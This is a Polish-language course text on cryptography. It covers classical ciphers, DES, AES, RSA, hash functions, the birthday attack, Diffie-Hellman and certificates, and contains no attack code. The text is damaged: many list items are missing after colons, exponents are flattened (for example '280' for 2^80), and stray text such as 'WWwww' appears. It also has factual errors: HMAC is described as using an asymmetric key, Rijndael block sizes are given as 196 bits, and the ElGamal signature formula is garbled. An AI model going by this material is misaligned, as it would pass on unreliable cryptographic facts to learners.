Działanie tej metody szyfrowania polega na wykonaniu na każdym znaku wiadomości czytelnej przekształcenia szyfrującego polegającego na zastąpieniu tego znaku innym o pozycji w alfabecie przesuniętej o zadaną ilość znaków względem znaku szyfrowanego. Przy czym pozostajemy wyłącznie w dziedzinie alfabetu wejściowego (przesunięcie pozycji jest w istocie rotacją - „zapętla się" po osiągnięciu końcowego znaku alfabetu na jego początek). Operację taką nazywa się z tego powodu monogramem.
Operację szyfrującą na znaku x możemy zatem zapisać formalnie jako \(f(x) = x + \Delta\), gdzie dodawanie oznacza zmianę (rotację!) pozycji znaku w alfabecie, a symbol \(\Delta\) oznacza wartość przesunięcia przy podstawianiu. Należy zaobserwować, iż w istocie zatem wartość \(\Delta\) jest kluczem szyfrowania. Jest to również klucz deszyfrowania, gdzie deszyfrowanie polega na „odejmowaniu" pozycji znaku o wartość \(\Delta\). Dla szyfru Cezara wartość \(\Delta\) jest stała i wynosi 3. Natomiast dla kodu nazywanego Captain Midnight \(\Delta\) jest kluczem zmiennym.
szyfr Cezara: \("A" \Rightarrow ( "A" + 3 ) = "D"\)
kod Captain Midnight: \("A" \Rightarrow ( "A" + \Delta); \Delta = 1,...,26\)
Rysunek '1'. Przykłady monogramów
Szyfry monoalfabetyczne mogą być konstruowane i opisywane różnymi wzorami matematycznymi. W powyższym przykładzie funkcję podstawienie zapisywaliśmy \(f(x)\). W kryptologii częściej stosuje się zapis \(E[x|k]\), gdzie \(E[]\) jest operacją szyfrowania (ang. encryption), a k oznacza użyty klucz. W niniejszym module będziemy stosowali najczęściej uproszczony zapis postaci \(E_k[x]\)
Oto przykłady formalnych definicji przekształceń monoalfabetycznych:
Inną podstawową operacją kryptograficzną jest przestawianie treści wiadomości czytelnej. Polega ono na przestawieniu kolejności wystąpienia znaków („wymieszaniu") testu jawnego. Kryptogram rozszyfrowujemy wykonując odwrotne przestawianie.
Najprostszym przypadkiem szyfrowania metodą przestawiania jest przestawienie losowe. W jego przypadku kolejne znaki wiadomości czytelnej przyjmują przypadkowe pozycje w kryptogramie. Takie szyfrowanie ma sens dla relatywnie niedużych wiadomości (rysunek 2).
Rysunek '2'. Przykład szyfrowania metodą przestawiania losowego
W rzeczywistych przypadkach, przestawienie nie jest losowe, lecz wynika z określonego wzoru zadanego np. figurą geometryczną. Najprostszą przydatną figurą transpozycji jest prostokąt. Dokładniej mamy do czynienia z macierzą prostokątną, w której pozycje wpisujemy wiadomość czytelną (lub też kolejne bloki całej wiadomości, których długości odpowiadają ilości elementów macierzy - czyli inaczej - jej rozmiarowi). Wiadomość wpisywana jest do macierzy, przyjmijmy, wierszami. Kryptogram tworzy się spisując zawartość tak wypełnionej macierzy, ale kolumnami (rysunek 3).
Rolę klucza szyfrowania pełnią wymiary figury transpozycji. W przykładzie z rysunku byłby to rozmiar macierzy: k = (5,4).
W celu utrudnienia złamania szyfru, operację transpozycji można powiązać w permutacją kolejności kolumn, przed spisaniem zawartości macierzy do krytpogramu. Innymi słowy, można przykładowo spisywać najpierw zawartość kolumny 2-giej, potem 5-tej, później 3-ciej, dopiero dalej 1-szej i na końcu 4-tej. Klucz szyfrowania przyjmuje tu postać: k = (5,4;2-5-3-1-4).
Dalsze wzmocnienie jakości szyfrowania można osiągnąć poprzez dodatkowe skomplikowanie operacji szyfrowania. Można stosować macierze o wierszach zmiennej długości bądź przestawienie przekątnokolumnowe, albo też szyfry siatkowe czy zastosować całkiem inną figurę transpozycji.
Rysunek '3'. Przykład szyfrowania metodą przestawiania losowego
Najprostsze z przedstawionych metod szyfrowania opierają swoją siłę na tajności procedury szyfrowania. Każdy, kto pozna tę procedurę, bez większego trudu i w relatywnie krótkim czasie jest w stanie odtworzyć wiadomość czytelną z dowolnego kryptogramu.
Szyfry najczęściej spotykane współcześnie w systemach informatycznych opierają swą siłę nie na tajności samego algorytmu lecz jedynie na tajności zmiennego parametru tego algorytmu, jakim jest klucz. Jest to zgodne z powszechnie uznaną regułą, nazywaną zasadą Kerckhoffsa:
Algorytm szyfrowania i deszyfrowania jest jawny
Rysunek '4'. Zasada Kerckhoffsa
Zgodnie z tą zasadą, algorytm może być, a nawet z wielu względów powinien być publicznie znany. Przemawia za tym ułatwienie publicznej oceny i dyskusji jakości, jakie potencjalnie oferuje powszechna dostępność każdego nowo-opracowanego algorytmu dla światowej rzeszy kryptoanalityków. Dzięki temu, łatwiej i wcześniej można wykryć ewentualne luki w koncepcji algorytmu bądź w samej jego konstrukcji.
Rysunek 5 przedstawia ogólny schemat szyfrowania z użyciem klucza, jaki stosować będziemy w niniejszym module. Użytkownicy uczestniczący w komunikacji, na tym schemacie - Alicja i Bolek, posługują się swoimi kluczami, odpowiednio - KA oraz KB, aby przesłać zaszyfrowaną wiadomość od Alicji do Bolka. Alicja poddaje szyfrowaniu wiadomość czytelną M z użyciem klucza szyfrowania KA operacją \(E_K_A[M]\) uzyskując szyfrogram S
Następnie szyfrogram S jest przesyłany do Bolka, który poddaje go operacji \(D_K_B[S]\) rozszyfrowania z kluczem KB.
Rysunek '5'. Schemat ogólny szyfrowania z kluczem
Formalny zapis tych operacji przedstawia rysunek 6. Wynika z niego własność szyfrowania z kluczem: \(D_K_B[E_K_A[M]] = M\).
Rysunek '6'. Formalny zapis operacji szyfrowania z kluczem
W przypadku szyfrowania z kluczem spotykane są dwa schematy: szyfrowanie symetryczne i asymetryczne.
Szyfrowanie symetryczne jest schematem, który posiada następujące cechy
Rysunek '7'. Ogólny schemat szyfrowania symetrycznego
Własność szyfrowania symetrycznego ma zatem postać: \(D_K[E_K[M]] = M\).
Szyfrowanie symetryczne jest o tyle ciekawe, że wymaga posłużenia się tylko jednym kluczem, dla obu uczestników komunikacji i w obu jej kierunkach (choć można wyobrazić sobie wariant tego schematu z oddzielnym kluczem na każdy kierunek). Uczestników takiej komunikacji może oczywiście być więcej niż dwoje i wówczas cała grupa może posługiwać się wspólnym kluczem. Jednak my będziemy tu zakładali zachowanie poufności komunikacji w pojedynczym kanale komunikacyjnym łączącym tylko dwoje uczestników. W związku z tym, pojedynczy klucz przypisany jest wyłącznie do jednej pary użytkowników i musi on być utajniony wobec innych osób.
Konieczność utrzymania tajności klucza w obrębie jednej pary użytkowników rodzi szereg praktycznych problemów:
Algorytm DES (Data Encryption Standard) został opracowany w latach '70. przez firmę IBM na zamówienie NSA (National Security Agency) - rządowej agencji USA, będącej odpowiednikiem Agencji Bezpieczeństwa Wewnętrznego. Zespołem odpowiedzialnym za opracowanie DES w IBM kierował Horst Feistel. Zmodyfikowany przez NSA, algorytm DES został przyjęty jako standard krajowy w 1976 przez NBS (National Bureau of Standards, obecnie NIST = National Institute of Standards and Technology) i objęty ochroną patentową oraz ograniczeniami ekportowymi. Należy od razu podkreślić, iż ochrona patentowa tego algorytmu już wygasła. W 1977 DES został opublikowany przez nieporozumienie między NSA a NBS (NSA spodziewało się, że standardem stanie się sam układ sprzętowy, lecz NBS opublikowało na tyle dużo szczegółów, iż możliwe stały się implementacje programowe tego algorytmu).
Algorytm DES pracuje na 64-bitowych blokach tekstu jawnego, co odpowiada 8 znakom 8-bitowego kodu ASCII. Klucz składa się z 64 bitów, przy czym 8 z nich jest bitami parzystości. Zatem w istocie, w trakcie wyboru klucza można określić jedynie 56 bitów.
Aktualnie standard DES nie jest już uważany za dostatecznie silny mechanizm kryptograficzny dla większości zastosowań, jednak wciąż jest bardzo często demonstrowany jako bardzo reprezentatywny przykład algorytmu symetrycznego szyfrowania. Dalej przedstawiony zostanie uproszczony szkic działania algorytmu DES, którego celem jest umożliwienie nabrania pewnej intuicji co do sposobu konstrukcji i pracy współczesnych algorytmów kryptograficznych.
Algorytm działa w kilku wyraźnie zaznaczających się etapach nazywanych tu fazami. Fazy działania, znane dość powszechnie jako sieć Feistela, są następujące
Schematycznie sieć Feistela przedstawia rysunek 8.
'Rysunek '8'. Sieć 'Feistela
Najbardziej skomplikowaną fazą jest każdy z 16 rund wykorzystujących funkcję f. Rundy te są w istocie iteracjami tych samych operacji. Każda kolejna runda, dokonuje tych samych obliczeń, ale na wynikach obliczeń z poprzedniej rundy i specjalnym podkluczu Ki generowanym z 56b klucza K0 (64-bitowego klucza powstałego po usunięciu 8 bitów parzystości z wejściowego klucza szyfrowania).
Początek każdej iteracji składa się z następujących kroków:
Kulminacyjnym etapem wykonania kolejnej rundy jest funkcja f. Jej działanie jest następujące:
No koniec iteracji następuje zamiana lewej i prawej połowy bloku miejscami.
Bloki podstawień (S-bloki; z ang. Substitution blocks) są zdefiniowane w standardzie DES i można je znaleźć w literaturze przedmiotowej. Każdy z 8 S-bloków jest inny, jednak w ogólności S-blok należy postrzegać jako tabelę 4 wiersze na 16 kolumn. Element tabeli jest 4b liczbą (podstawiana wartość). Wybór wiersza i kolumny za pomocą 6b wejścia wygląda następująco:
Wskazany element tabeli (4 bity) jest podawany na wyjście jako wynik podstawienia.
Operacje deszyfrowania kryptogramu uzyskanego algorytmem DES są realizowane za pomocą tej samej sieci co operacje szyfrowania bloku tekstu jawnego. Różnica polega jedynie na tym, iż klucze stosowane są w kolejności odwrotnej od K16 do K1.
Istotą trudności kryptoanalizy algorytmu DES metodą przeszukiwania wyczerpującego jest złożoność obliczeniowa procesu dopasowania kolejnych możliwych wartości klucza. W latach 80-tych ubiegłego wieku wymagała ona czasu liczonego w setki/tysiące lat. W efekcie uczyniła ten standard odpornym na atak metodą przeszukiwania wyczerpującego.
Standard przewiduje wykorzystanie algorytmu DES w różnych trybach pracy nazywanych ECB, CBC, CFB i OFB. Dwa pierwsze to tryby blokowe, w których algorytm DES jest wykonywany wprost dokładnie tak jak na przedstawionym wcześniej szkicu, operując na kolejnych 8-znakowych blokach szyfrowanej wiadomości czytelnej.
Tryb ECB (Electronic CodeBook) jest to podstawowy tryb szyfrowania blokowego. Jego własności można przedstawić następująco:
Tryb CBC (Cipher Block Chaining) jest wolny od tej ostatniej wady. Umożliwia on uzależnienie postaci bloku kryptogramu nie tylko od treści szyfrowanego bloku wiadomości jawnej, lecz również od pewnego dodatkowego parametru - wektora inicjującego. Jego własności można przedstawić następująco:
Tryby blokowe nadają się doskonale do szyfrowania gotowych wiadomości, jednak nie są odpowiednia dla szyfrowania strumienia danych asynchronicznych, np. wprowadzanych z klawiatury lub pojawiających się w protokołach komunikacyjnych, w których nie można z góry określić tempa pojawiania się danych do przesłania (i zaszyfrowania) oraz ich ilości, w efekcie dających teksty zmiennej długości. W tym celu wprowadzono tryby szyfrowania strumieniowego szyfrujące każdorazowo po jednym znaku 8-bitowym: CFB (Cipher FeedBack) oraz OFB (Output FeedBack) - tzw. tryby sprzężenia zwrotnego. Opisują je następujące własności:
Powyższa dyskusja oraz znajomość praktycznych implementacji standardu DES skłania do następujących wniosków:
Stany Zjednoczone, ojczyzna standardu DES, jak zresztą również inne kraje, traktują technologie kryptograficzne na równi z militarnymi i stosują ograniczenia w ich wykorzystaniu. Jednym z nich jest embargo eksportowe na wszelkie algorytmy i systemy kryptograficzne opracowane w USA. Również standard DES był objęty tymi ograniczeniami, a dokładniej jego ustandaryzowana postać posługująca się kluczem 56-bitowym. Natomiast algorytm CDMF, opracowany również przez IBM, został przygotowany specjalnie z myślą o wykorzystaniu również poza Stanami Zjednoczonymi i jest wolny od ograniczeń eksportowych. W istocie jest to wersja uproszczona DES operująca kluczem 40b, a dokładniej jest to algorytm DES uzupełniony o wstępną metodę skracania klucza 56b do 40b.
Algorytm DES był przez wiele lat bezpieczny. Ze względu na złożoność obliczeniową kryptoanalizy, przy dostępnej mocy obliczeniowej, proces odnajdywania klucza metodą przeszukiwania wyczerpującego był wystarczająco nieefektywny, by uczynić ataki nieopłacalnymi. Jednak w 1998 r. algorytm DES z kluczem 56b został złamany w 56 godzin kryptoanalizy metodą przeszukiwania wyczerpującego. Koszt sprzętu (EFF DES Cracker) wówczas szacowano na 250 tys. USD. Rok później zajęło to już 22 godziny. Dziś to kwestia minut.
Istnieją jednak propozycje wzmocnienia siły algorytmu DES, np. poprzez praktyczne zwiększanie długości klucza. I tak algorytm 3DES stosuje jednocześnie trzy kolejne iteracje szyfrowania i deszyfrowania tekstu jawnego oryginalnym algorytmem DES. Każda iteracja może używać innego klucza 56b, co w efekcie daje klucz 168b. W praktyce najczęściej spotykany jest tryb DES-EDE (encrypt-decrypt-encrypt) z dwoma kluczami (razem 112b), wg rysunku 9:
Rysunek '9'. Schemat działania algorytmu 3DES
Algorytm IDEA został opracowany w 1991r. przez Swiss Federal Institute of Technology
(w zespole, którym kierowali James L. Massey i Xuejia Lai). W ogólnej koncepcji jest dość podobny do algorytmu DES, występują jedynie różnice w szczegółach. Przykładowo algorytm IDEA charakteryzują:
Fazy działania algorytmu IDEA przedstawiają się następująco:
Algorytm IDEA stosuje podklucze o następującej charakterystyce:
Opisane wyżej czynności powtarzane są do momentu przydzielenia kluczy do wszystkich kroków, przy czym w fazie zakończenia zamiast sześciu podkluczy, stosuje się tylko cztery podklucze. Łącznie w algorytmie wykorzystuje się 52 podklucze, które generowane są z wejściowego klucza szyfrującego.
Rysunek '10'. Siatka operacji w pojedynczej iteracji algorytmu IDEA
Deszyfracja przebiega następująco:
Algorytm Rijndeal został opracowany w 1999 przez Belgów: Joana Daemena i Vincenta Rijmena. Bloki wejściowe mają po 128, 196 lub 256 bitów. Klucze również mają długość 128b, 196b lub 256b. W zależności od wielkości bloku stosowana jest różna liczba iteracji: 10 (128b), 12 (196b) lub 14 (256b). Każda iteracja to następująca sekwencja wykonywana na poszczególnych bajtach danych i klucza:
'Rysunek '11'. Uproszczony schemat pojedynczej iteracji algorytmu 'Rijndeal
Standard AES jest następcą standardu DES obowiązującym w USA od 2001 r. Wykorzystuje algorytm Rijndeal. Algorytm ten wygrał oficjalną rywalizację z innymi zgłoszonymi do konkursu algorytmami, m.in. Serpent, Twofish, RC6, MARS. Stosuje tryb blokowy (blok 128b) i strumieniowy, klucze 128b, 192b, 256b (choć teoretycznie dopuszczalne również inne kombinacje). W standardzie wprowadzono też ciekawy nowy strumieniowy tryb licznikowy (CTR - Counter Mode), w którym dedykowany rejestr jest inkrementowany wraz z kolejnymi operacjami szyfrowania porcji danych. Tryb ten oferuje możliwość zrównoleglenia operacji na różnych porcjach danych.
RC2, RC4, RC5 i RC6 to prawnie zastrzeżone algorytmy opracowane przez Ronalda Rivesta (pracownika MIT i jednocześnie założyciela firmy RSA Data Security), chociaż od 1994 kod źródłowy niektórych z nich jest szeroko dostępny w Internecie. Są to bardzo wydajne algorytmy symetryczne (ok. 10 razy szybsze od DES) o zmiennej długości klucza (do 2048b). RC2, RC5, RC6 to szyfry blokowe, natomiast RC4 jest szyfrem strumieniowym. Co ciekawe, niemal od samego początku swego istnienia posiadały specjalny status eksportowy USA dla kluczy 40b lub 56b (dla instytucji powiązanych z interesami USA). Dziś są powszechnie wykorzystywane w Lotus Notes, Apple OCE (Open Collaboration Enviromnent), Oracle, protokołach SSL i S-HTTP, sieciach bezprzewodowych i komórkowych.
Określenie CAST opisuje schemat zastosowany w rodzinie zbliżonych do DES algorytmów kryptograficznych o zmiennej długości kluczy i bloków. Najpowszechniej znany reprezentant to szyfr CAST-128 opublikowany w 1997 [RFC 2144].
To algorytm blokowy opracowany przez kolejną ważną postać kryptografii komputerowej - Jamesa L. Masseya. Popularne są: wersja z kluczem 64b (SAFER-K64) obejmująca 6 rund oraz wersja z kluczem 128b (SAFER-K128) - do 12 rund (rekomendowane 10).
Algorytm Blowfish, bardzo popularny zwłaszcza w produktach open source, został opracowany w 1994 r. przez Bruce'a Schneiera. Blok danych ma 64 bity, a klucz podstawowy długość do 448b. W algorytmie występuje 16 iteracji wykorzystujących 18 kluczy pomocniczych (wyznaczanych każdorazowo przed szyfrowaniem i deszyfrowaniem) i 4 S-bloki 256-elementowe o wartościach zależnych od: klucza podstawowego, danych oraz liczby \(\pi\). Deszyfrowanie jest operacją identyczną z szyfrowaniem - jedynie odwrotna zostaje kolejność kluczy pomocniczych.
Istotą szyfrowania asymetrycznego jest wyodrębnienie dwóch kluczy o odmiennych rolach: klucz prywatny i klucz publiczny. I tak przyjmiemy dalej iż odbiorca Bolek posiada parę kluczy: prywatny klucz kb oraz publiczny klucz KB. Z założenia klucz prywatny jest tajny znany wyłącznie właścicielowi. Publiczny klucz, natomiast, może być powszechnie znany. Aby przekazać zaszyfrowaną postać wiadomości do tego odbiorcy należy zaszyfrować wiadomość czytelną jego kluczem publicznym. Odszyfrowanie jest możliwe tylko przy użyciu klucza prywatnego, odpowiadającego użytemu uprzednio kluczowi publicznemu.
Operacje szyfrowania opisuje zatem ogólny wzór:
\(E_K_B [M] = S\)
a deszyfrację:
\(D_k_b [S] = M\)
Rysunek '12'. Ogólny schemat szyfrowania asymetrycznego
Istotne jest iż znajomość klucza publicznego KB nie wystarcza do naruszenia poufności szyfrogramu uzyskanego przy zastosowaniu tego klucza.
Szyfrowanie asymetryczne idealnie nadaje się do zastosowania w następujących celach:
Rysunek '13'. Ogólny schemat zapewnienia poufności w szyfrowaniu asymetrycznym
Rysunek '14'. Ogólny schemat zapewnienia autentyczności w szyfrowaniu asymetrycznym
Algorytm RSA został opublikowany w 1978 roku przez Ronalda Rivesta, Adi Shamira i Leonarda Adlemana. Niedawno wygasła jego ochrona patentowa. Algorytm ten pozwala w zasadzie dowolnie ustalić długość klucza. Wymaga użycia 2 dużych liczb pierwszych (przez duże rozumiemy tu liczby co najmniej stucyfrowe w systemie dziesiętnym). Do szyfrowania i deszyfrowania wykorzystuje operacje potęgowania dyskretnego. W efekcie wymaga dużej liczby działań arytmetycznych (jest zdecydowanie wolniejszy od DES - nawet do 1000 razy).
Dobór kluczy jest najbardziej istotnym elementem pracy algorytmu. Schematycznie przedstawia ją rysunek 15.
Rysunek '15'. Ogólny schemat pracy algorytmu RSA
Schemat ten wymaga następujących wyjaśnień:
Złamanie tak ustalonego klucza wymagałoby znalezienia efektywnej metody faktoryzacji dużych liczb - póki co takowa nie istnieje.
Algorytm ten został opublikowany w 1985 roku, ale nie jest chroniony patentem. Brak również w jego przypadku ograniczeń eksportowych USA - wykorzystuje koncepcję (i patent) Diffiego-Helmana lecz ów patent wygasł w 1997 r. Szyfrowanie wymaga każdorazowo losowo wybranej wartość k, dlatego też ten sam tekst jawny każdorazowo daje inny szyfrogram. Niestety wadą tego algorytmu jest fakt, iż szyfrogram jest dwukrotnie dłuższy od tekstu jawnego.
Generowanie kluczy przebiega następująco:
W dalszej kolejności:
Szyfrowanie przebiega następująco:
Deszyfrowanie przebiega następująco:
[1] Janusz Stokłosa, Tomasz Bilski, Tadeusz Pankowski, "Bezpieczeństwo danych w systemach informatycznych", PWN, 2001
Bieżący moduł przedstawia koncepcje związane z wykorzystaniem mechanizmów kryptograficznych w systemach informatycznych.
Szyfrowanie asymetryczne, jak już wiemy z poprzedniego modułu, można wykorzystać do osiągnięcia własności autentyczności danych. Zastosować można potencjalnie 2 metody przedstawione poniżej.
Druga metoda wykorzystuje pojęcie skrótu, który jest wynikiem zastosowania pewnej funkcji matematycznej na treści wiadomości. Funkcja skrótu to jednokierunkowa funkcja \(h[M]\), a więc taka, która daje jednoznaczny wynik \(d=h[M]\) (skrót, ang. message digest, fingerprint) o stałym rozmiarze, przy wieloznacznym argumencie (M). Jej zadaniem w naszym przypadku jest dostarczyć odbiorcy narzędzia do zweryfikowania czy treść wiadomości nie została zmodyfikowana, przez osoby niepowołane.
W istocie, w dziedzinie transmisji danych skróty wiadomości, lub ich odpowiedniki, powszechnie wykorzystywane są w celu potwierdzania integralności wiadomości od lat 70-tych ubiegłego wieku, choć zwykle ukrywają się pod różnymi nazwami:
Własności jakie musi posiadać odpowiednia dla nas funkcja skrótu to:
Zastosowania funkcji skrótu mogą obejmować:
Rysunek '1'. Zastosowanie funkcji skrótu
Funkcje skrótu można wykorzystać do zrealizowania ciekawego i niezwykle ważnego narzędzia, jakim jest podpis cyfrowy. Najczęściej wykorzystywana jest w tym celu jest funkcja mieszająca HMAC z kluczem k asymetrycznym (keying hash function) - \(h_k[M]\). Wartość skrótu HMAC jest zaszyfrowana kluczem prywatnym nadawcy, być może dodatkowo z wykorzystaniem ziarna (salt) lub zawołania (challenge).
Proces generowania i weryfikowania podpisu HMAC z kluczem przedstawia rysunek 2. Nadawca (Alicja) po przygotowaniu wiadomości M przygotowuje jej skrót H, który poddaje szyfrowaniu swoim kluczem prywatnym, który z założenia zna i posiada tylko nadawca. Po połączeniu M z zaszyfrowanym skrótem H' całość przekazuje do odbiorcy dowolnym kanałem komunikacyjnym. Tan następuje deszyfracja H' (przy użyciu otwarcie dostępnego klucza publicznego nadawcy) oraz niezależne wyliczenie skrótu H dla otrzymanego M. Porównanie H wyliczonego z odszyfrowanym wskazuje na autentyczność i nienaruszalność wiadomości M lub jej brak. Gdyby M została zmodyfikowana w trakcie transmisji do odbiorcy, wyliczony skrót nie pasowałby do odszyfrowanego z H'. Natomiast, gdyby nadawcą nie była Alicja, posłużenie się jej kluczem publicznym przy odszyfrowaniu H' nie dałoby skrótu identycznego z wyliczony przez odbiorcę H.
Rysunek '2'. Zastosowanie funkcji skrótu
Możliwe jest jednoczesne osiągnięcie własności poufności, autentyczności i nienaruszalności wiadomości. Uzyskuje się to poprzez znane już szyfrowanie (np. asymetryczne) pary M + H' z poprzedniego przykładu, przed przesłaniem do odbiorcy. Przy tym szyfrowaniu musi oczywiście być wykorzystany odpowiedni klucz publiczny odbiorcy. Schemat ten przedstawia rysunek 3.
Rysunek '3'. Osiąganie poufności, autentyczności i nienaruszalności
Pierwsze z powszechnie stosowanych algorytmów generowania skrótu na potrzeby ochrony autentyczności i nienaruszalności informacji - MD i MD2 (autorstwa Rona Rivesta) powstały w latach '80. Algorytm MD nie został nigdy oficjalnie opublikowany. Był wykorzystywany jako autorskie rozwiązanie w systemie pocztowym RSADSI. Natomiast MD2 został ustandaryzowany w dokumencie RFC 1319. W 1990 Ralph Merkle (Xerox) zaproponował algorytm HMAC o nazwie SNEFRU - kilkukrotnie szybszy od MD2. Na to Rivest odpowiedział algorytmem MD4 (RFC 1320). WWwww W roku 1992 złamano SNEFRU i wykryto pewną słabość MD4 w wersji 2-rund i wkrótce Rivest wzmocnił algorytm otrzymując trochę wolniejszy MD5 (RFC1321).
Algorytm MD5 posiada następujące cechy charakterystyczne:
Algorytm SHA został opracowany przez NSA (National Security Agency) i przyjęty przez NIST jako standard federalny w 1993r. Wersja oryginalna SHA (SHA-0) jest zbliżona do MD4. Algorytm ten posiada następujące cechy charakterystyczne:
Stosunkowo szybko wykryto słabości SHA-0 (choć ich natury nigdy nie opublikowano) i opracowano SHA-1 (ratyfikowany przez NIST), który jest często spotykany do dziś. Wykazuje odporność na kolizje 160b skrótu - 280 , która jest współcześnie uznawana również za zbyt słabą.
Niedawno zaproponowano zupełnie nowe funkcje skrótu: SHA-256, SHA-384 oraz SHA-512, przystosowane do współpracy z kluczami AES (odpowiednio 128b, 192b i 256b). Dają skróty odpowiednio 256b, 384b i 512b. Nie doczekały się jeszcze szerszej analizy jednak dość powszechnie uznawane są za bezpieczne. Mają większą złożoność obliczeniową od poprzedników wymienionych wyżej. W praktyce okazuje się, iż algorytm SHA-384 ma identyczny koszt obliczeniowy co SHA-512, co czyni SHA-384 w praktyce bezużytecznym. Powszechnie spotykane są zatem jedynie SHA-256 oraz SHA-512.
Algorytm ten powstał w ramach europejskiego (EU) projektu RACE Integrity Primitives Evaluation - Message Digest. W uproszczeniu mówiąc jest to ulepszony wariant MD4 (zmodyfikowane rotacje i kolejność słów wiadomości) Oferuje skrót 128b. Wykorzystuje rejestr strumieniowy. Podczas generowania skrótu wykonuje równoległe 2 przebiegi (za każdym razem z innym zadanym parametrem) w każdej iteracji. Po każdej iteracji oba wyniki łączone z rejestrem strumieniowym. Prawdopodobnie posiada dużą odporność na ataki.
Algorytm HAVAL generuje skrót o zmiennej długości: 128b, 160b, 192b, 224b lub 256b. Można i jego uznać za wariant MD4, względem oryginału zmodyfikowano operacje rotacji. Stosuje wyrafinowane funkcje nieliniowe (o własności lawinowości), w każdej iteracji wykonuje inne permutacje. I posiada prawdopodobnie duża odporność na ataki.
Ostatnim z wymienionych algorytmów jest ElGamal. Algorytm ten początkowo opracowano właśnie dla realizacji podpisu cyfrowego HMAC. Podpisem wiadomości M jest para (a, b), taka że:
\(a=g^k \bmod p\)
\(b:: M = (xa + kb) \bmod p-1\)
Weryfikacja podpisu cyfrowego następuje pomyślnie jeśli \((y^a a^b) \bmod p == g^M \bmod p\).
W systemach informatycznych powszechnie spotykane są standardy podpisu cyfrowego opracowane w USA. Należą do nich starszy DSS i nowszy SHS
DSS jest to standard NIST z kategorii FIST (Federal Information processing STandard) w wersjach z 1991 i 1993 roku. Obejmuje użycie skrótu SHA-1 oraz algorytmu DSA (Digital Signature Algorithm).
Standard SHS to nowszy projekt NIST z 2001. Obejmuje użycie rodziny SHA-256 / SHA-384 / SHA-512.
Najpowszechniej znanym atakiem na funkcje skrótu jest atak urodzinowy. Poniżej przedstawiona zostanie koncepcja tego ataku.
Paradoks dnia urodzin po lega na dokonaniu następujących obserwacji:
Uogólnienie tego paradoksu przebiega następująco. Mamy dany rozmiar n danych wejściowych (ludzi - w przykładzie urodzin) oraz rozmiar k zbioru wynikowego (daty urodzin). Dla n mamy możliwych n(n-1)/2 par danych wejściowych i dla każdej pary oba elementy dadzą ten sam wynik z prawdopodobieństwem 1/k. Zatem, potrzeba k/2 par aby z prawdopodobieństwem 50% wśród nich była taka jak szukamy - gdzie oba elementy mają tę samą wartość wyniku (datę urodzin). W efekcie jeśli \(n>\sqrt{k}\) to szanse powodzenia są duże. Dla skrótu 128b potrzeba 2128 wiadomości aby znaleźć tę, która dała określony skrót, ale wystarczy 264 wiadomości aby znaleźć 2 o identycznym skrócie (znaleźć tzw. kolizję).
Jako komentarz można podać, iż w połowie 2004 r. zespół kryptoanalityków pod kierunkiem Xuejia Lai wykazał zaskakujące kolizje w MD5 podając 2 ciągi po 128 B różniące się zaledwie 6-cioma bajtami. Natomiast na początku 2005 r. zespół kierowany przez Xiaoyuna Wanga wykazał w rodzinie SHA kolizje łatwiejsze niż należy oczekiwać z teoretycznej odporności. Mianowicie w przypadku SHA-1: kolizje dla 269 operacji (przy teoretycznej 280), dla SHA-1 w uproszczonej wersji (58-rund): kolizje dla 233 operacji i dla SHA-0: kolizje dla 239 operacji.
W procesie pozyskiwania i wykorzystania kluczy kryptograficznych występują pewne istotne problemy. Należą do nich poniższe:
Nie istnieje uniwersalne rozwiązanie wszystkich wymienionych problemów, jednak poniżej przedstawiona metoda zaproponowana przez Whitfielda Diffiego i Martina Hellmana jest częściowym rozwiązaniem problemu przekazania klucza. Jest to metoda ciekawa i powszechnie spotykana, dlatego warta bliższego poznania.
Metoda Diffiego-Hellmana pozwala partnerom uzgodnić tajny klucz bez ryzyka ujawnienia go podsłuchującym. Początkowo ustalamy wspólny jednorazowy symetryczny klucz sesji (dla każdej sesji inny). Na potrzeby ustalenia klucza sesji wykorzystamy model asymetryczny.
DH wykorzystuje multiplikatywną grupę modulo p - oznaczaną \(\mathbb{Z}_p^*\).
Przez \(\alpha\\) oznaczmy element pierwotny grupy \(\mathbb{Z}_p^*\). Zatem \(\alpha\\) generujące całą grupę.
Czyli zamiast 1, ..., p-1 możemy grupę traktować jako 1, \(\alpha\, \alpha^2, ... , \alpha^{p-2}\).
Schemat postępowania w metodzie DH przedstawia rysunek 4.
Każdy z użytkowników wybiera sobie w nieistotny sposób wartość klucza prywatnego k. Natomiast klucz publiczny K dobiera jako \(\alpha^k\). Klucz ten jest swobodnie i otwarcie przykazywany drugiej stronie komunikacji.
Klucz sesji dobierany jest przez każdą ze stron w taki sposób, że obie uzyskują identyczną wartość \(\Phi\\), przy czym przechwycenie obu transmitowanych kluczy publicznych nie wystarcza do jego uzyskania.
Rysunek '4'. Schemat postępowania w metodzie DH
Metoda D-H nie jest, jak już zaznaczono, idealnym rozwiązaniem. Jest m.in. podatna n atak man-in-the-middle. Przyjmijmy, iż Edziu, znając \(\alpha\\), może skutecznie wkroczyć na etapie negocjacji klucza. Alicja i Bolek będą porozumiewać się poprzez Edzia za pomocą kluczy,
które - jak im się będzie wydawać - wymienili ze sobą.
Rozważmy możliwe sposoby pozyskiwania kluczy publicznych szyfrowania asymetrycznego. Istnieją następujące warianty:
Należy zwrócić uwagę, iż w ogólności istnieje ryzyko podstawienia przez nieuczciwą osobę (atakującego) własnego klucza pod klucz domniemanego użytkownika.
Rozwiązaniem tego problemu, które zyskało dotychczas największą akceptację jest certyfikacja kluczy publicznych.
Certyfikację stosuje się w celu uniknięcia podstawienia fałszywego klucza publicznego. Certyfikat jest poświadczeniem autentyczności podpisanym przez osobę (instytucję) godną zaufania, nazywaną urzędem poświadczającym CA (Certification Authority). certyfikat ma najczęściej formę dokumentu elektronicznego. Certyfikat zawiera podstawowe dane identyfikujące właściciela. W ogólnym przypadku, urząd poświadczający CA potwierdza, iż informacja opisująca właściciela klucza jest prawdziwa, a klucz publiczny faktycznie do niego należy. Certyfikat posiada też okres ważności wyznaczający czas przez który certyfikowane dane można uważać za poprawne. Niezależnie od okresu ważności certyfikowane klucze mogą zostać uznane za niepoprawne, np. gdy zaistnieje podejrzenie, iż ktoś nieuprawniony wszedł w posiadanie tajnego klucza prywatnego, odpowiadającego certyfikowanemu kluczowi publicznemu. Urząd poświadczający CA musi przechowywać listę niepoprawnych i nieaktualnych certyfikatów. Oczywiście, unieważnienie klucza jest także rodzajem certyfikatu.
